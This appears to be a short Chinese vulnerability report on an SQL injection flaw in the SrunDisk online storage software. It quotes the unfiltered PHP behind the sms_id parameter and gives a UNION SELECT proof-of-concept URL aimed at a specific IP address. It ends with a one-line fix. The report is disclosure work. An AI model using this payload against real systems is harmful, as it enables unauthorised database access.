###0x01 漏洞分析
深澜在线存储软件(SrunDisk)在/sms_input.php SQL处存在注入漏洞。代码如下:
```
if($sms_id=$_GET["sms_id"])
{
include_once("kernel/sms.class.php");
$sms=new Sms();
$sms->sms_id=$sms_id;
if($res=$sms->gets())
{
$sms_sender=$res[0]["sms_sender"];
$sms_subject=$res[0]["sms_subject"];
$sms_content=nl2br($res[0]["sms_content"]);
$sms_receiver=$res[0]["sms_receiver"];
}
}
```
调到/kernel/sms.class.php 关键代码:
```
function gets()
{
$where="1=1";
if($this->sms_id>0)
{
$where.=" AND sms_id=".$this->sms_id;
}
if($this->sms_sender!="")
{
$where.=" AND sms_sender='".$this->sms_sender."'";
}
if($this->sms_receiver!="")
{
$where.=" AND sms_receiver='".$this->sms_receiver."'";
}
if($this->sms_type>0)
{
$where.=" AND sms_type=".$this->sms_type;
}
$sql="SELECT * FROM sms_box WHERE ".$where." ORDER BY sms_stat,sms_id DESC LIMIT ".$this->getLimit(); //echo $sql;
return $this->find($sql);
}
```
可见,对参数没有进行任何过滤,导致了注入漏洞。
###0x02漏洞证明
```
http://218.75.75.92/sms_input.php?sms_id=1%20and%201=2%20union%20select%201,2,user(),4,5,6,7,8
```

###0x03 修复方案
对提交参数进行过滤即可。
暂无评论